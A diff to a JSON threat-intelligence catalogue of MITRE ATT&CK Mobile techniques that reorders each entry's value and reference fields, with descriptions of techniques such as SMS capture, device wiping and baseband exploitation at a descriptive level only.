+ "uuid": "1f96d624-8409-4472-ad8a-30618ee6b2e2",
+ "value": "App Delivered via Email Attachment - MOB-T1037"
},
{
"description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic.\n\nIn the mobile environment, the Google Cloud Messaging (GCM; two-way) and Apple Push Notification Service (APNS; one-way server-to-device) are commonly used protocols on Android and iOS respectively that would blend in with routine device traffic and are difficult for enterprises to inspect. As described by Kaspersky (Citation: Kaspersky-MobileMalware), Google responds to reports of abuse by blocking access to GCM.\n\nPlatforms: Android, iOS",
- "value": "Standard Application Layer Protocol - MOB-T1040",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1040",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html",
- "https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/"
- ],
"external_id": "APP-29",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:command-and-control",
@@ -428,52 +421,53 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1040",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html",
+ "https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/"
]
},
- "uuid": "6a3f6490-9c44-40de-b059-e5940f246673"
+ "uuid": "6a3f6490-9c44-40de-b059-e5940f246673",
+ "value": "Standard Application Layer Protocol - MOB-T1040"
},
{
"description": "On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there.\n\niOS's security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.\n\nPlatforms: Android",
- "value": "File and Directory Discovery - MOB-T1023",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1023"
- ],
"external_id": "MOB-T1023",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:discovery"
],
"mitre_platforms": [
"Android"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1023"
]
},
- "uuid": "cf28ca46-1fd3-46b4-b1f6-ec0b72361848"
+ "uuid": "cf28ca46-1fd3-46b4-b1f6-ec0b72361848",
+ "value": "File and Directory Discovery - MOB-T1023"
},
{
"description": "A malicious application could abuse Android device administrator access to wipe device contents, for example if a ransom is not paid.\n\nPlatforms: Android",
- "value": "Wipe Device Data - MOB-T1050",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1050"
- ],
"external_id": "MOB-T1050",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:effects"
],
"mitre_platforms": [
"Android"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1050"
]
},
- "uuid": "8e27551a-5080-4148-a584-c64348212e4f"
+ "uuid": "8e27551a-5080-4148-a584-c64348212e4f",
+ "value": "Wipe Device Data - MOB-T1050"
},
{
"description": "An adversary could use a malicious or exploited application to surreptitiously record activities using the device microphone and/or camera through use of standard operating system APIs.\n\nDetection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to use the microphone or the camera through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS",
- "value": "Microphone or Camera Recordings - MOB-T1032",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1032",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html"
- ],
"external_id": "APP-19",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:collection"
@@ -481,17 +475,18 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1032",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html"
]
},
- "uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760"
+ "uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760",
+ "value": "Microphone or Camera Recordings - MOB-T1032"
},
{
"description": "The mobile device could contain built-in functionality with malicious behavior or exploitable vulnerabilities. An adversary could deliberately insert and take advantage of the malicious behavior or could exploit inadvertent vulnerabilities. In many cases, it is difficult to be certain whether exploitable functionality is due to malicious intent or simply an inadvertent mistake.\n\nPlatforms: Android, iOS",
- "value": "Malicious or Vulnerable Built-in Device Functionality - MOB-T1076",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1076"
- ],
"external_id": "MOB-T1076",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:supply-chain"
@@ -499,22 +494,17 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1076"
]
},
- "uuid": "f9e4f526-ac9d-4df5-8949-833a82a1d2df"
+ "uuid": "f9e4f526-ac9d-4df5-8949-833a82a1d2df",
+ "value": "Malicious or Vulnerable Built-in Device Functionality - MOB-T1076"
},
{
"description": "An app could contain malicious code in obfuscated or encrypted form, then deobfuscate or decrypt the code at runtime to evade many app vetting techniques, as described in (Citation: Rastogi) (Citation: Zhou) (Citation: TrendMicro-Obad) (Citation: Xiao-iOS).\n\nPlatforms: Android, iOS",
- "value": "Obfuscated or Encrypted Payload - MOB-T1009",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1009",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html",
- "http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf",
- "http://ieeexplore.ieee.org/document/6234407",
- "http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/",
- "http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao"
- ],
"external_id": "APP-21",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:defense-evasion"
@@ -522,22 +512,22 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1009",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html",
+ "http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf",
+ "http://ieeexplore.ieee.org/document/6234407",
+ "http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/",
+ "http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao"
]
},
- "uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a"
+ "uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a",
+ "value": "Obfuscated or Encrypted Payload - MOB-T1009"
},
{
"description": "At least three methods exist to perform User Interface Spoofing:\n\nFirst, on both Android and iOS, an adversary could impersonate the user interface of a legitimate app or device function to trick a user into entering account credentials. \n\nSecond, on both Android and iOS, a malicious app could impersonate the identity of another app in order to trick users into installing and using it.\n\nThird, on older versions of Android, a malicious app could abuse mobile operating system features to interfere with a running legitimate app as described in (Citation: Felt-PhishingOnMobileDevices) and (Citation: Hassell-ExploitingAndroid). However, this technique appears to have been addressed starting in Android 5.0 with the deprecation of the Android's ActivityManager.getRunningTasks method and modification of its behavior (Citation: Android-getRunningTasks) and further addressed in Android 5.1.1 (Citation: StackOverflow-getRunningAppProcesses) to prevent a malicious app from determining what app is currently in the foreground.\n\nPlatforms: Android, iOS",
- "value": "User Interface Spoofing - MOB-T1014",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1014",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html",
- "http://w2spconf.com/2011/papers/felt-mobilephishing.pdf",
- "http://conference.hitb.org/hitbsecconf2011kul/materials/D1T1",
- "https://developer.android.com/reference/android/app/ActivityManager.html#getRunningTasks%28int%29",
- "http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag"
- ],
"external_id": "APP-31",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:credential-access"
@@ -545,21 +535,22 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1014",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html",
+ "http://w2spconf.com/2011/papers/felt-mobilephishing.pdf",
+ "http://conference.hitb.org/hitbsecconf2011kul/materials/D1T1",
+ "https://developer.android.com/reference/android/app/ActivityManager.html#getRunningTasks%28int%29",
+ "http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag"
]
},
- "uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2"
+ "uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2",
+ "value": "User Interface Spoofing - MOB-T1014"
},
{
"description": "A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi or other) to the mobile device could exploit a vulnerability in code running on the device.\n\nD. Komaromy and N. Golde demonstrated baseband exploitation of a Samsung mobile device at the PacSec 2015 security conference (Citation: Register-BaseStation).\n\nWeinmann described and demonstrated \"the risk of remotely exploitable memory corruptions in cellular baseband stacks.\" (Citation: Weinmann-Baseband)\n\nPlatforms: Android, iOS",
- "value": "Exploit Baseband Vulnerability - MOB-T1058",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1058",
- "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-18.html",
- "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-19.html",
- "http://www.theregister.co.uk/2015/11/12/mobile%20pwn2own1/",
- "https://www.usenix.org/system/files/conference/woot12/woot12-final24.pdf"
- ],
"external_id": "STA-19",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:exploit-via-cellular-network"
@@ -567,55 +558,57 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1058",
+ "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-18.html",
+ "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-19.html",
+ "http://www.theregister.co.uk/2015/11/12/mobile%20pwn2own1/",
+ "https://www.usenix.org/system/files/conference/woot12/woot12-final24.pdf"
]
},
- "uuid": "c91c304a-975d-4501-9789-0db1c57afd3f"
+ "uuid": "c91c304a-975d-4501-9789-0db1c57afd3f",
+ "value": "Exploit Baseband Vulnerability - MOB-T1058"
},
{
"description": "On Android versions prior to 5, applications can observe information about other processes that are running through methods in the ActivityManager class. On Android versions prior to 7, applications can obtain this information by executing the ps command, or by examining the /proc directory. Starting in Android version 7, use of the Linux kernel's hidepid feature prevents applications (without escalated privileges) from accessing this information (Citation: Android-SELinuxChanges).\n\nPlatforms: Android",
- "value": "Process Discovery - MOB-T1027",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1027",
- "https://code.google.com/p/android/issues/detail?id=205565"
- ],
"external_id": "MOB-T1027",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:discovery"
],
"mitre_platforms": [
"Android"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1027",
+ "https://code.google.com/p/android/issues/detail?id=205565"
]
},
- "uuid": "1b51f5bc-b97a-498a-8dbd-bc6b1901bf19"
+ "uuid": "1b51f5bc-b97a-498a-8dbd-bc6b1901bf19",
+ "value": "Process Discovery - MOB-T1027"
},
{
"description": "A malicious application can request Device Administrator privileges. If the user grants the privileges, the application can take steps to make its removal more difficult.\n\nDetection: The device user can view a list of apps with Device Administrator privilege in the device settings.\n\nPlatforms: Android",
- "value": "Abuse Device Administrator Access to Prevent Removal - MOB-T1004",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1004",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html"
- ],
"external_id": "APP-22",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:persistence"
],
"mitre_platforms": [
"Android"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1004",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html"
]
},
- "uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483"
+ "uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483",
+ "value": "Abuse Device Administrator Access to Prevent Removal - MOB-T1004"
},
{
"description": "The application is downloaded from an arbitrary web site. A link to the application's download URI may be sent in an email or SMS, placed on another web site that the target is likely to view, or sent via other means (such as QR code).\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.\n\nPlatforms: Android, iOS",
- "value": "App Delivered via Web Download - MOB-T1034",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1034",
- "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html",
- "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-21.html"
- ],
"external_id": "ECO-21",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:app-delivery-via-other-means"
@@ -623,17 +616,19 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1034",
+ "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html",
+ "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-21.html"
]
},
- "uuid": "6b846ad0-cc20-4db6-aa34-91561397c5e2"
+ "uuid": "6b846ad0-cc20-4db6-aa34-91561397c5e2",
+ "value": "App Delivered via Web Download - MOB-T1034"
},
{
"description": "A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication.\n\nOn Android, a malicious application must request and obtain permission (either at app install time or run time) in order to receive SMS messages. Alternatively, a malicious application could attempt to perform an operating system privilege escalation attack to bypass the permission requirement.\n\nOn iOS, applications cannot access SMS messages in normal operation, so an adversary would need to attempt to perform an operating system privilege escalation attack to potentially be able to access SMS messages.\n\nPlatforms: Android, iOS",
- "value": "Capture SMS Messages - MOB-T1015",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1015"
- ],
"external_id": "MOB-T1015",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:collection",
@@ -642,74 +637,73 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1015"
]
},
- "uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060"
+ "uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060",
+ "value": "Capture SMS Messages - MOB-T1015"
},
{
"description": "An adversary may encrypt files stored on the mobile device to prevent the user from accessing them, only unlocking access to the files after a ransom is paid. Without escalated privileges, the adversary is generally limited to only encrypting files in external/shared storage locations. This technique has been demonstrated on Android, and we are unaware of any demonstrated use on iOS.\n\nPlatforms: Android",
- "value": "Encrypt Files for Ransom - MOB-T1074",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1074",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html"
- ],
"external_id": "APP-28",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:effects"
],
"mitre_platforms": [
"Android"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1074",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html"
]
},
- "uuid": "d9e88203-2b5d-405f-a406-2933b1e3d7e4"
+ "uuid": "d9e88203-2b5d-405f-a406-2933b1e3d7e4",
+ "value": "Encrypt Files for Ransom - MOB-T1074"
},
{
"description": "An adversary could abuse an iOS enterprise app signing key (intended for enterprise in-house distribution of apps) to sign malicious iOS apps so that they can be installed on iOS devices without the app needing to be published on Apple's App Store. For example, Xiao describes use of this technique in (Citation: Xiao-iOS).\n\nDetection: iOS 9 and above typically requires explicit user consent before allowing installation of applications signed with enterprise distribution keys rather than installed from Apple's App Store.\n\nPlatforms: iOS",
- "value": "Abuse of iOS Enterprise App Signing Key - MOB-T1048",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1048",
- "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-23.html",
- "http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao"
- ],
"external_id": "ECO-23",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:app-delivery-via-other-means"
],
"mitre_platforms": [
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1048",
+ "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-23.html",
+ "http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao"
]
},
- "uuid": "51aedbd6-2837-4d15-aeb0-cb09f2bf22ac"
+ "uuid": "51aedbd6-2837-4d15-aeb0-cb09f2bf22ac",
+ "value": "Abuse of iOS Enterprise App Signing Key - MOB-T1048"
},
{
"description": "On Android, details of onboard network interfaces are accessible to apps through the java.net. (Citation: NetworkInterface) class (Citation: NetworkInterface). The Android (Citation: TelephonyManager) class can be used to gather related information such as the IMSI, IMEI, and phone number (Citation: TelephonyManager).\n\nPlatforms: Android",
- "value": "Local Network Configuration Discovery - MOB-T1025",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1025",
- "https://developer.android.com/reference/java/net/NetworkInterface.html",
- "https://developer.android.com/reference/android/telephony/TelephonyManager.html"
- ],
"external_id": "MOB-T1025",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:discovery"
],
"mitre_platforms": [
"Android"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1025",
+ "https://developer.android.com/reference/java/net/NetworkInterface.html",
+ "https://developer.android.com/reference/android/telephony/TelephonyManager.html"
]
},
- "uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd"
+ "uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd",
+ "value": "Local Network Configuration Discovery - MOB-T1025"
},
{
"description": "Adversaries can communicate using cellular networks rather than enterprise Wi-Fi in order to bypass enterprise network monitoring systems. Adversaries may also communicate using other non-Internet Protocol mediums such as SMS, NFC, or Bluetooth to bypass network monitoring systems.\n\nPlatforms: Android, iOS",
- "value": "Alternate Network Mediums - MOB-T1041",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1041",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html"
- ],
"external_id": "APP-30",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:command-and-control",
@@ -718,36 +712,36 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1041",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html"
]
},
- "uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a"
+ "uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a",
+ "value": "Alternate Network Mediums - MOB-T1041"
},
{
"description": "On Android, applications can use standard APIs to gather a list of network connections to and from the device. For example, the Network Connections app available in the Google Play Store (Citation: ConnMonitor) advertises this functionality.\n\nPlatforms: Android",
- "value": "Local Network Connections Discovery - MOB-T1024",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1024",
- "https://play.google.com/store/apps/details?id=com.antispycell.connmonitor&hl=en"
- ],
"external_id": "MOB-T1024",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:discovery"
],
"mitre_platforms": [
"Android"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1024",
+ "https://play.google.com/store/apps/details?id=com.antispycell.connmonitor&hl=en"
]
},
- "uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb"
+ "uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb",
+ "value": "Local Network Connections Discovery - MOB-T1024"
},
{
"description": "An adversary could make educated guesses of the device lock screen's PIN/password (e.g., commonly used values, birthdays, anniversaries) or attempt a dictionary or brute force attack against it. Brute force attacks could potentially be automated (Citation: PopSci-IPBox).\n\nPlatforms: Android, iOS",
- "value": "Device Unlock Code Guessing or Brute Force - MOB-T1062",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1062",
- "http://www.popsci.com/box-can-figure-out-your-4-digit-iphone-passcode"
- ],
"external_id": "MOB-T1062",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:exploit-via-physical-access"
@@ -755,22 +749,18 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1062",
+ "http://www.popsci.com/box-can-figure-out-your-4-digit-iphone-passcode"
]
},
- "uuid": "f296fc9c-2ff5-43ee-941e-6b49c438270a"
+ "uuid": "f296fc9c-2ff5-43ee-941e-6b49c438270a",
+ "value": "Device Unlock Code Guessing or Brute Force - MOB-T1062"
},
{
"description": "A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).\n\nPlatforms: Android",
- "value": "Exploit TEE Vulnerability - MOB-T1008",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1008",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html",
- "https://usmile.at/symposium/program/2015/thomas-holmes",
- "https://bits-please.blogspot.in/2016/06/extracting-qualcomms-keymaster-keys.html",
- "https://usmile.at/symposium/program/2015/ekberg",
- "http://bits-please.blogspot.co.il/2016/05/war-of-worlds-hijacking-linux-kernel.html"
- ],
"external_id": "APP-27",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:credential-access",
@@ -778,20 +768,22 @@
],
"mitre_platforms": [
"Android"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1008",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html",
+ "https://usmile.at/symposium/program/2015/thomas-holmes",
+ "https://bits-please.blogspot.in/2016/06/extracting-qualcomms-keymaster-keys.html",
+ "https://usmile.at/symposium/program/2015/ekberg",
+ "http://bits-please.blogspot.co.il/2016/05/war-of-worlds-hijacking-linux-kernel.html"
]
},
- "uuid": "ef771e03-e080-43b4-a619-ac6f84899884"
+ "uuid": "ef771e03-e080-43b4-a619-ac6f84899884",
+ "value": "Exploit TEE Vulnerability - MOB-T1008"
},
{
"description": "An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication as described in NIST SP 800-153 (Citation: NIST-SP800153). \n\nFor example, Kaspersky describes a threat actor they call DarkHotel that targeted hotel Wi-Fi networks, using them to compromise computers belonging to business executives (Citation: Kaspersky-DarkHotel).\n\nPlatforms: Android, iOS",
- "value": "Rogue Wi-Fi Access Points - MOB-T1068",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1068",
- "https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-0.html",
- "http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-153.pdf",
- "https://blog.kaspersky.com/darkhotel-apt/6613/"
- ],
"external_id": "LPN-0",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:general-network-based"
@@ -799,19 +791,20 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1068",
+ "https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-0.html",
+ "http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-153.pdf",
+ "https://blog.kaspersky.com/darkhotel-apt/6613/"
]
},
- "uuid": "633baf01-6de4-4963-bb54-ff6c6357bed3"
+ "uuid": "633baf01-6de4-4963-bb54-ff6c6357bed3",
+ "value": "Rogue Wi-Fi Access Points - MOB-T1068"
},
{
"description": "An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM) / mobile device management (MDM) server console could use that access to track mobile devices.\n\nDetection: Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.\n\nPlatforms: Android, iOS",
- "value": "Remotely Track Device Without Authorization - MOB-T1071",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1071",
- "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html",
- "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html"
- ],
"external_id": "EMM-7",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:cloud-based"
@@ -819,19 +812,19 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1071",
+ "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html",
+ "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html"
]
},
- "uuid": "6f86d346-f092-4abc-80df-8558a90c426a"
+ "uuid": "6f86d346-f092-4abc-80df-8558a90c426a",
+ "value": "Remotely Track Device Without Authorization - MOB-T1071"
},
{
"description": "An adversary could attempt to spoof a mobile device's biometric authentication mechanism, for example by providing a fake fingerprint as described by SRLabs in (Citation: SRLabs-Fingerprint).\n\niOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID).\n\nPlatforms: Android, iOS",
- "value": "Biometric Spoofing - MOB-T1063",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1063",
- "https://srlabs.de/bites/spoofing-fingerprints/",
- "https://support.apple.com/en-us/HT204587"
- ],
"external_id": "MOB-T1063",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:exploit-via-physical-access"
@@ -839,22 +832,19 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1063",
+ "https://srlabs.de/bites/spoofing-fingerprints/",
+ "https://support.apple.com/en-us/HT204587"
]
},
- "uuid": "45dcbc83-4abc-4de1-b643-e528d1e9df09"
+ "uuid": "45dcbc83-4abc-4de1-b643-e528d1e9df09",
+ "value": "Biometric Spoofing - MOB-T1063"
},
{
"description": "An attacker could jam radio signals (e.g. Wi-Fi, cellular, GPS) to prevent the mobile device from communicating as described in draft NIST SP 800-187 (Citation: NIST-SP800187).\n\nPlatforms: Android, iOS",
- "value": "Jamming or Denial of Service - MOB-T1067",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1067",
- "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html",
- "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-8.html",
- "https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-5.html",
- "https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html",
- "http://csrc.nist.gov/publications/drafts/800-187/sp800%20187%20draft.pdf"
- ],
"external_id": "GPS-0",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:cellular-network-based",
@@ -863,18 +853,22 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1067",
+ "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html",
+ "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-8.html",
+ "https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-5.html",
+ "https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html",
+ "http://csrc.nist.gov/publications/drafts/800-187/sp800%20187%20draft.pdf"
]
},
- "uuid": "d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d"
+ "uuid": "d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d",
+ "value": "Jamming or Denial of Service - MOB-T1067"
},
{
"description": "A malicious app or other attack vector could capture sensitive data stored in the device clipboard, for example passwords being copy-and-pasted from a password manager app.\n\nPlatforms: Android, iOS",
- "value": "Capture Clipboard Data - MOB-T1017",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1017",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html"
- ],
"external_id": "APP-35",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:collection",
@@ -883,18 +877,18 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1017",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html"
]
},
